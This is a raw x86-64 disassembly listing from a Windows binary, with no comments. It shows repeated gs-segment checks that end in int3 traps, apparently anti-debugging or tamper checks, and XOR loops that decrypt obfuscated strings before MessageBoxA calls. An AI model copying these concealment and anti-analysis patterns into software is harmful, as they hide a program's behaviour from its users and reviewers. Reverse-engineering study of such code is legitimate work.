xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400262f6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400262f6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xef
mov r10, r15
movabs rbx, 0x8080808080808081
movabs r8, 0x19a84e6854
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x33509cd0a8
movabs r13, 0x1825ef713
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140026360
mov byte [rbp + 0x379], r15b
movdqa xmm0, xmmword [0x1400d72e0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x7786a56a
mov word [rbp + 0x76c], Ordinal_200
mov r9, r15
movabs r8, 0x1fb1ca44a4
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x3f63948948
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x758]
xor dil, r9b
mov byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x140026404
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x140026538
mov rax, qword gs:[0x5d]
mov ecx, 0xcc8395cb
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026518
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026518
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026538
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, r14
jne 0x1400268f3
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400265c6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400265c6
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x140026690
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026670
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026670
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026690
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
movdqa xmm0, xmmword [0x1400d7490]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xef
mov rdi, r15
movabs rsi, 0x1825ef713
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140026a24
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x1400266b6
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x1400d71f0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400d72c0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400d7230]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xb0022fa1
mov dword [rbp + 0xd0c], 0xfcdf44ea
mov dword [rbp + 0xd10], 0x2ab0ec14
mov word [rbp + 0xd14], 0xf6
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140026a98
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14002674b
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x140026849
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140026829
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140026829
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140026849
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov rax, qword gs:[0x56]
cmp rax, rbx
jne 0x1400268f3
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x5d]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400268d3
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400268d3
mov rcx, qword gs:[0x5d]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400268f3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008cc28
int3
mov ecx, 1
call fcn.14008cc28
int3